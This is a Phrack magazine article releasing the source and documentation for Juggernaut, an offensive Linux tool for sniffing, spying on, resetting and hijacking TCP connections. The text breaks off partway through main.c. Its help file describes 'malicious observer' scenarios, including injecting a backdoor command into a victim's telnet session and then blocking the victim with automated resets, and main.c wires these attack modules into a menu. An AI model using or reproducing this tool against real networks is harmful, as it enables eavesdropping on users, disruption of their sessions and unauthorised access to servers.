                                .oO Phrack 50 Oo.

                            Volume Seven, Issue Fifty

                                     6 of 16

                               J U G G E R N A U T 
 
                                  route|daemon9

                      a guild corporation production 1996/7


    Please use the included extract.c utility to extract the files and then
    read the Install file.  Any problems/comments mail me route@infonexus.com.

    A boot image is forthcoming that will allow a user to simply pop a disk
    into most any networked PC and turn it into a Juggernaut workstation.

<++> Juggernaut/ClothLikeGauze/.help

                            Juggernaut 1.0 Help File

|--------
|Overview
|--------

Juggernaut is a robust network tool for the Linux OS.  It contains several
modules offering a wide degree of functionality.  Juggernaut has been tested 
successfully on several different Linux machines on several different networks. 
However, your mileage may vary depending on the network topologies of the
environment (ie: Smart hubbing will kill much of the packet sniffing 
functionality...) and, to a lesser extent, the machine running Juggernaut.
If something doesn't work, use a network debugger and figure out why...  

Juggernaut v1.0 was originally published in Phrack Magazine, issue 50; on
April 9, 1997.

           Any serious problems/bugs or comments, please mail me: 
        
                           route@infonexus.com


|---------------------
|Command Line Options
|---------------------

    juggernaut -h       

                        Quick help.

    juggernaut -H       

                        Dumps this help file.

    juggernaut -v 

                        By default, Juggernaut conveys error messages and other
                        diagnostic information to the user.  Specifying this 
                        option will cause Juggernaut to shut the hell up.

                        Not recommended unless you know what you are doing.

    juggernaut -t xx            [ juggernaut -t 5 ]   
        
                        This option specifies the network read timeout (which 
                        defaults to 10 seconds).  This value reflects how long
                        Juggernaut will wait for network traffic before giving
                        up.  In this case, it will wait 5 seconds.

    juggernaut -s TOKEN         [ juggernaut -s login ]

                        Dedicated sniffing mode.  Juggernaut will drop to the
                        background and examine all TCP packets looking for
                        TOKEN.  When TOKEN is located, it then isolates that 
                        TCP circuit and captures the next 16 (the default
                        enticement factor) packets and logs them to a file. It
                        then resets and continues sifting through TCP traffic 
                        looking for TOKEN.

    juggernaut -s TOKEN -e xx   [ juggernaut -s daemon9 -e 1000 ]

                        By specifying a larger enticement factor, you can
                        capture more packets from a session.  This time, after
                        locating TOKEN, Juggernaut will capture 1000 packets 
                        before reseting.

    juggernaut
                        This starts the program in standard mode.
     
|-------------
|Menu Options
|-------------

This is normal mode of operation for Juggernaut.  This is where the magic 
happens, this is where the fun is. The program will examine all network
traffic and add suitable TCP connections to the connection database (which
is viewed with option 1).  After at least one connection is in the database, 
you can start mucking around with it (connection construction and destruction 
are indicated by the appearance of the "+" or the "-" at the console). Note 
that connections involving a local interface may not show up (unless the
localhost is dual-homed).

One possible shortcoming of the program is the fact that it stores very
little state information about connections in the database.  Juggernaut
collects whatever information it needs (and doesn't have) on the fly.  As 
such, a quiet connection (no traffic) will elude hijacking and reseting.  The 
benefit of this is the fact that the program does not have to tie itself up 
updating the shared memory segment with state every time a packet flies by.


    ?) Help
                        This file.

    0) Program information

                        Dumps some stuff...

    1) Connection database
    
                        Dumps the current connection list and percent to 
                        capacity.  Gives the option to wipe the database.

    2) Spy on a connection

                        Allows a user to spy on any connection in the database,
                        with the option of logging the entire session to a
                        file.

    3) Reset a connection

                        Allows the user to destroy any existing connection in 
                        the database.

    4) Automated connection reset daemon

                        Allows the user to setup an automated TCP RST daemon 
                        that will listen for connection request attempts
                        from a specified source host (and optionally a 
                        destination host) and then reset them before they
                        have a chance to complete.  Requires a source IP
                        address and optionally a destination address.  
                        This module prints a "*" to the console when a
                        connection request attempt is attempted and denied...
                        
    5) Simplex connection hijack

                        Allows the user to insert a command into a telnet
                        based TCP stream.  A short ACK storm ensues until the 
                        connection is subsequently reset.

    6) Interactive connection hijack

                        Allows the user to take over a session from a 
                        legitimate client.  This desynchs the client from the 
                        server as the user takes over.  The resulting ACK 
                        storm can be catastrophic and makes this interactive 
                        session prone to failure.  If both of the target hosts 
                        are on an ethernet, expect a momunmental ACK storm.

    7) Packet assembly module

                        The Prometheus module.  Construction of TCP, UDP, ICMP, 
                        and IP packets.  The user has complete control over 
                        most of the header fields and can opt for generating a
                        pseudo-random value.  This module is far from done and
                        needs some serious work.
    
    8) Souper sekret option number eight

                        Sshh.

    9) Step down
                        Quitter.


|-------------
|Suggested Use
|-------------

    scenario 1: The passive observer
                menu options 1,2

                        The user is curious.  She simply waits for
                        connections to arrive and then passively observes
                        them.  Several invocations of Juggernaut may be
                        started, each spying on a different connection.
                        The user does not modify the flow of data or control.

    scenario 2: The malicious observer
                menu options 1,2,3

                        Same scenario as above, except the user alters the
                        flow of control and opts to destroy connections
                        at some point.

    scenario 3: The active observer
                menu options 1,2,3,5,(6)

                        Same as the previous situations, however the user
                        inserts data into the stream before destroying it.
    scenario 4: The imp
                menu options 1,2,3,4

                        The user is an impish devil and simply wants to
                        cause trouble by setting up multiple ACRST daemons.

    scenario 5: The active observer with poisonous reverse
                menu options 1,2,4,5

                        The user waits until a client establishes a connection
                        with a targeted server and then sets up the ACRST 
                        daemon to destroy all further connection-request
                        attempts from the client.  The user then spys on the 
                        connection, waiting for an opportune time to inject 
                        a hijack packet into the stream containing a 
                        backdooring command/pipeline.  The client will then
                        have her connection RST (after a brief ACK storm).
                        If the client attempts to re-establish the connection
                        with the server, she will be denied and likely think
                        it is a transient network error.  The user can then
                        login into the server using the backdoor without fear
                        of the client logging back in.


      
Juggernaut is a Guild Corporation production, (c) 1996/7.
 
    [corporate persuasion through Internet terrorism]
                                                           
EOF
<-->
<++> Juggernaut/ClothLikeGauze/MANIFEST

       File Manifest for Juggernaut 1.0
 	----------------------------
      1996/7 daemon9[guild|phrack|r00t]
 	----------------------------
ClothLikeGauze/     Docs
    .help           Helpfile
    copyright	    The legal tie that binds.
    Install         Installation instructions
    MANIFEST	    This file
Makefile	    makefile
NumberOneCrush/	    Sources				
    main.c	    main logic
    mem.c	    shared memory/semaphore functions
    menu.c	    menu functions
    prometheus.c    packet assembly workshop module
    net.c	    socket/network functions
    surplus.c       dumping ground


	Version history
	---------------

version a1:
-----------
11.30.96:   Decided to start.  Juggernaut framework and queue stuff.  Used 
            linked list queue originally to store connections.
12.01.96:   Sniffing/spying/logging/RST stuff.
12.02-04:   Not sure what I did here.  I think I had a large turkey samich.
12.05.96:   Redid memory abstract data type.  Multithreaded.  Implemented 
            shared memory segment and semaphore for access control.
            Dumped ALL the dynamic memory allocation code.
12.06.96:   Added packet assembly workshop hooks.  Added curses.  Removed 
            curses.
12.07.96:   No coding today.
12.08.96:   Non-interactive hijacking completed.  I think we're ready for 
            beta now.

version b1:
-----------
12.09.96:   IP_HDRINCL crap added.
12.15-18:   I was in NYC for the r00tparty.  No coding then.
12.19.96:   Added automated RST stuff.
12.20-27:   No coding.
12.28.96:   Started work on interactive hijacking.  Damned ACK storms.
12.30.96:   Started packet assembly module for reals.

version b2:
-----------
01.25.97:   Added network timeout logic.
01.26.97-
04.01.97:   How can you possibly expect me to account for all that time?  
            I went to Germany with alhambra for a networking summit and 
            all over the US for other work, I was even in a Discovery 
            special on IW...

version 1.0:
------------
04.02.97:   Here it is.                
<-->
<++> Juggernaut/ClothLikeGauze/ToDo

Juggernaut ToDo list
--------------------
 + re-structure multitasking model to give the option of
   using multi-processing OR multi-threading
 + Create boot image
 + Support for ongoing connections
 + Support for healthy choice hotdog sequencer
 + Add arp cache seeding routine; as connections are added, MAC
   addresses will be added to the arp cache
 + Add support for different verbosity levels
 + Add support for IP and TCP options in packet assembly module
 + Better packet assembly support as a whole
 + Better code module plug-in support
 + much more robust packet sniffing module with support for
   multiple protocols
 + um, interactive hijacking that doesn't kill the client
<-->
<++> Juggernaut/ClothLikeGauze/copyright
 
			Juggernaut 
 
Copyright (c) 1996/7 by daemon9/route [Guild] (route@infonexus.com)
  
Juggernaut source code, documentation, auxilliary programs, and 
executables are Copyright 1996/7 daemon9[guild].  All rights reserved.

----------------------------------------------------------------------

		    GNU GENERAL PUBLIC LICENSE
		       Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
                          675 Mass Ave, Cambridge, MA 02139, USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

			    Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.

		    GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) You must cause the modified files to carry prominent notices
    stating that you changed the files and the date of any change.

    b) You must cause any work that you distribute or publish, that in
    whole or in part contains or is derived from the Program or any
    part thereof, to be licensed as a whole at no charge to all third
    parties under the terms of this License.

    c) If the modified program normally reads commands interactively
    when run, you must cause it, when started running for such
    interactive use in the most ordinary way, to print or display an
    announcement including an appropriate copyright notice and a
    notice that there is no warranty (or else, saying that you provide
    a warranty) and that users may redistribute the program under
    these conditions, and telling the user how to view a copy of this
    License.  (Exception: if the Program itself is interactive but
    does not normally print such an announcement, your work based on
    the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

    a) Accompany it with the complete corresponding machine-readable
    source code, which must be distributed under the terms of Sections
    1 and 2 above on a medium customarily used for software interchange; or,

    b) Accompany it with a written offer, valid for at least three
    years, to give any third party, for a charge no more than your
    cost of physically performing source distribution, a complete
    machine-readable copy of the corresponding source code, to be
    distributed under the terms of Sections 1 and 2 above on a medium
    customarily used for software interchange; or,

    c) Accompany it with the information you received as to the offer
    to distribute corresponding source code.  (This alternative is
    allowed only for noncommercial distribution and only if you
    received the program in object code or executable form with such
    an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

			    NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

		     END OF TERMS AND CONDITIONS

	Appendix: How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) 19yy  <name of author>

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

    Gnomovision version 69, Copyright (C) 19yy name of author
    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this License.
<-->
<++> Juggernaut/Install
Juggernaut 1.0 Installation Instructions
----------------------------------------
1.  Are you a fucking moron?  If so, goto step 6; you are done.

2.  Edit the Makefile.  You may wish to change a few of the
    defines:

    USENAME:    Define this to have Juggernaut attempt to 
                resolve IP addresses into FQDNs...  It's
                slower but more verbose this way.
    MULTI_P:    Define this to use multi-process model of 
                multi-tasking.
    THREAD:     Define this to use multi-threaded model of
                multi-tasking.  Be sure to also link in
                the pthreads library.  Not implemented yet.
    IP_HDRINCL: Define this if you want/need to use the
                IP_HDRINCL socket option to build IP
                headers.
    NOHUSH:     If defined, Juggernaut will notify the user
                audibly when a connection is added.
    GREED:      If defined, Juggernaut will attempt to add
                any and ALL TCP based connections to the 
                database.  This is not recommended unless
                you know what you are doing...
    FASTCHECK:  Define this to use a fast x86 assembler 
                implementation of the IP checksum routine.
                May not work on all systems.  That's why
                you have the option.
3. make all

4. yay.

5. ./juggernaut -h
<-->
<++> Juggernaut/Makefile
# Juggernaut Makefile
# 1996/7 daemon9[guild|phrack|r00t]

CC      =   gcc
#LIBS    =   -L/usr/lib -lpthread
CFLAGS  =   -O3 -funroll-loops -fomit-frame-pointer -pipe -m486 #-Wall
DEFINES =   -DMULTI_P -DNOHUSH -DUSENAME -DFASTCHECK
DEFINES +=  #-DGREED #-DIP_HDRINCL #-DTHREAD 
OBJECTS =   NumberOneCrush/main.o NumberOneCrush/menu.o\
            NumberOneCrush/mem.o NumberOneCrush/prometheus.o\
            NumberOneCrush/net.o NumberOneCrush/surplus.o

.c.o:
	$(CC) $(CFLAGS) $(DEFINES) -c $< -o $@

all: JUGGERNAUT

JUGGERNAUT: $(OBJECTS)
	$(CC) $(CFLAGS) $(DEFINES) $(OBJECTS) $(LIBS) -o juggernaut
	strip juggernaut

clean:
	rm -f core juggernaut juggernaut.log.snif juggernaut.log.spy
	rm -rf NumberOneCrush/*.o
<-->
<++> Juggernaut/NumberOneCrush/main.c
/*
 *
 *			            Juggernaut
 *				    Version b2
 *
 *                            1996/7 Guild productions
 *			     daemon9[guild|phrack|r00t]
 *
 *                         comments to route@infonexus.com
 *
 *  This coding project made possible by a grant from the Guild corporation
 * 
 *  main.c - main control logic and program driver.  Consists mainly of wrappers 
 *  to setup the main subfunctions.
 *
 *
 */

#include <string.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <syslog.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <netinet/in.h>

#ifdef THREAD
#include <pthread.h>
#endif

#define MINIBUF 10
#define BUFSIZE 512
#define DEVICE "eth0"
#define LOGFILE "./juggernaut.log.spy"

char version[]="1.0\0";
int sigsentry=1;		    /* Signal sentry */
int ripsock=0;			    /* RIP socket */
int linksock=0;			    /* SOCK PACKET socket */
int hpid=0;			    /* hunter child PID */
int acrstpid=0;			    /* automated connection reset PID */
int netreadtimeout=10;		    /* Network read timeout in seconds */
int verbosity=1;		    /* Level of verbosity */
int enticementfactor=16;            /* Enticing packets!@ */
time_t uptime=0;                    /* How long have we been running */

struct connectionInfo{		    /* Simple tuple information */
    unsigned long saddr;            /* Source IP */
    unsigned long daddr;            /* Destination IP */
    unsigned short sport;           /* Source TCP Port */  
    unsigned short dport;           /* Destination TCP Port */
};


/*
 *  Main control logic.  All the main logic is implemented in the switch 
 *  statement.
 */

int main(argc,argv)
int argc;
char *argv[];
{

    void usage(char *);
    void hunt();		
    void spy();
    void rst();
    void arst();
    void pkta();
    void simplexhijack();
    void hijack();
    void powerup();
    void minit();
    void mwipe();
    void mmain();
    void twitch();
    void cleanexit();
    void bloodhound(char *,int);
    void bookworm();
    void dbmanip();
    void jinfo();
    int rawsock();
    int tap();
    float dump();			
		
    char buf[MINIBUF]={0};
    char token[2*MINIBUF]={0};
    int c;
                                
    if(geteuid()||getuid()){	            /* r00t? */
        fprintf(stderr,"UID or EUID of 0 needed...\n");
        exit(0);
        }
                          	            /* Parse command-line arguments */
    while((c=getopt(argc,argv,"s:e:t:vVhH"))!=-1){
        switch(c){
            case 's':                       /* dedicated sniffing mode */
                strncpy(token,optarg,(sizeof(token)-1));
                break;
 	    case 'e':                       /* Enticement factor (only valid 
                                               with -s option) */
	        enticementfactor=atoi(optarg);
		break;
	    case 't':                       /* Network alarm timeout */
	        netreadtimeout=atoi(optarg);
		break;
	    case 'v':	                    /* decrease verbosity */	
	        verbosity=0;
	        break;
	    case 'V':	                    /* version info */	
                jinfo();
                exit(0);
            case 'h':                       /* Help is on the way my friend */
                usage(argv[0]);
                exit(0);
            case 'H':                       /* Help is on the way my friend */
                bookworm();
                exit(0);
	    default:
	        usage(argv[0]);
	        break;
	    }     
    }
    if(token[0]){
        bloodhound(token,enticementfactor); 
        exit(0);
    }

    mwipe();
    minit();				    /* Initial menu */
    fprintf(stderr,"[cr]");
    getchar();

    signal(SIGINT,twitch);		    /* Catch these signals */
    signal(SIGQUIT,twitch);

    ripsock=rawsock();			    /* Setup RIP socket */
    linksock=tap(DEVICE);                   /* Setup link socket */ 

    powerup();				    /* Setup shared memory and 
                                               semaphore */
    time(&uptime);                          /* Start the uptime timer */
    hunt();				    /* Start the connection hunter */
	
    while(1){
    	mwipe();
    	mmain();
        bzero(&buf,sizeof(buf));
    	fgets(buf,sizeof(buf),stdin);
        switch(buf[0]){
            case '?':
                mwipe();
                bookworm();
                mwipe();
                break;
            case '0':
                mwipe();
                jinfo();
                mwipe();
                break;
    	    case '1':
    	        mwipe();
                dbmanip();
    		mwipe();
    		break;
    	    case '2':               /* Watch a connection. */
    	        mwipe();
    		spy();			
    		mwipe();
    		break;
    	    case '3':	            /* Kill a connection. */
    		mwipe();
    		rst();			
    		mwipe();
		break;
	    case '4':               /* Automated CRST daemon. */
		mwipe();
		arst();			
		mwipe();
		break;
	    case '5':		    /* Insert a single command. */
		mwipe();		
		simplexhijack();
		mwipe();
		break;
	    case '6':		    /* Hijack the session from the client */
		mwipe();		
		hijack();
		mwipe();
		break;
	    case '7':	            /* The packet assembly workshop */
		mwipe();
		pkta();			
		mwipe();
		break;
	    case '8':		    /* For future use. */
		break;
            case '9':
                cleanexit();
            default:
	        continue;
        }
    }
		                        /* NOT REACHED */
    return(0);
}


/*
 *  chunt wrapper
 */

void hunt(){

#ifdef MULTI_P
    void spasm();		    	/* Handles the user defined signal */
    void chunt();

    switch((hpid=fork())){
        case 0:				    /* Child */
	    signal(SIGUSR1,spasm);
	    signal(SIGINT,SIG_IGN);	    /* Catch these signals */
	    signal(SIGQUIT,SIG_IGN);
	    close(ripsock);		    /* Not needed in hunter */
	    chunt();
        default:
	    break;			    /* Parent continues */
        case -1:
	    if(verbosity)perror("(hunt) internal forking error [fatal]");
	    exit(1);
    }	
#endif

#ifdef THREAD

    MULTIPLE THREADS OF EXECUTION IS NOT IMPLEMENTED YET.

    void chunt();

    pthread_t hunter_t;

    pthread_create(&hunter_t,NULL,(void *)chunt(),(void *)NULL);

#endif

}


/*
 *  cspy wrapper
 */

void spy(){

    void convulsion();
    float dump();
    struct connectionInfo *checkc(int);
    void cspy(struct connectionInfo *,FILE *);

    char buf[MINIBUF];
    unsigned short val;
    struct connectionInfo *target;
    FILE *fp=0;	

    dump();							
	
    while(1){
    	fprintf(stderr,"\nChoose a connection [q] >");
    	fgets(buf,sizeof(buf),stdin);
    	if(buf[0]==0x0a||buf[0]=='q')return;
    	if(!(int)(val=atoi(buf)))continue;
    	if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");	
    	else break;
    }
    fprintf(stderr,"\nDo you wish to log to a file as well? [y/N] >");
    fgets(buf,sizeof(buf),stdin);
    if(toupper(buf[0])=='Y'){
    	if(!(fp=fopen(LOGFILE,"a+"))){
            if(verbosity){
                fprintf(stderr,"Cannot open file for logging, skipping operation.\n");
    	        fprintf(stderr,"[cr]");
    	        getchar();
            }
        }
    }
    fprintf(stderr,"\nSpying on connection, hit `ctrl-c` when done.\n");
    signal(SIGINT,convulsion);
    sigsentry=1;
    cspy(target,fp);
    if(fp)fclose(fp);
}


/*
 *  crst wrapper
 */ 

void rst(){

    void convulsion();
    float dump();
    void crst(struct connectionInfo *);    

    struct connectionInfo *checkc(int);

    char buf[MINIBUF];
    unsigned short val;
    struct connectionInfo *target;

    dump();
	
    while(1){
        fprintf(stderr,"\nChoose a connection [q] >");
	fgets(buf,sizeof(buf),stdin);
	if(buf[0]==0x0a||buf[0]=='q')return;
   	if(!(int)(val=atoi(buf)))continue;
	if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");
	else break;
    }
    signal(SIGINT,convulsion);
    crst(target);							
    fprintf(stderr,"[cr]");
    getchar();
}


/*
 *  acrst wrapper
 */ 

void arst(){

    void convulsion();
    float dump();
    void acrst(unsigned long,unsigned long);
    char *hostLookup(unsigned long);
    unsigned long nameResolve(char *);

    char buf[4*MINIBUF];
    unsigned long source,target;
				            /* Setup addresing info */
    fprintf(stderr,"\nEnter source IP [q] >");
    fgets(buf,sizeof(buf),stdin);
    if(buf[0]==0x0a||buf[0]=='q')return;			
    if(!(source=nameResolve(buf))){
    	if(verbosity){
            fprintf(stderr,"Name lookup failure: `%s`\n[cr]",buf);
            getchar();     
        }
    	return;
    }
    fprintf(stderr,"\nEnter target IP (optional) [q] >");
    fgets(buf,sizeof(buf),stdin);
    if(buf[0]=='q')return;			
    if(buf[0]==0x0a)target=0;		    /* target may be null, in this 
                                               case, we only care where
                                               the connection is coming from */
    else if(!(target=nameResolve(buf))){
	if(verbosity){
            fprintf(stderr,"Name lookup failure: %s\n[cr]",buf);
            getchar();     
        }
    	return;
    }
    if(!target)fprintf(stderr,"Reseting all connection requests from:\t %s\n",hostLookup(source));
    else fprintf(stderr,"Reseting all connection requests from:\t %s --> %s\n",hostLookup(source),hostLookup(target));
    fprintf(stderr,"[cr]");
    getchar();
    acrst(source,target);							
}


/* 
 *  dumpc wrapper
 */

float dump(){

    float dumpc();
    float usage=0;

    fprintf(stderr,"\nCurrent Connection Database:\n");
    fprintf(stderr,"-------------------------------------------------\n");
    fprintf(stderr,"ref #    source                            target  \n\n");
    usage=dumpc();
    fprintf(stderr,"-------------------------------------------------\n");

    return usage;
}


/*
 *  database manipulation routines go here..
 */

void dbmanip(){

    float dump();
    void cleardb();

    float usage=0;
    char buf[MINIBUF];

    usage=dump();

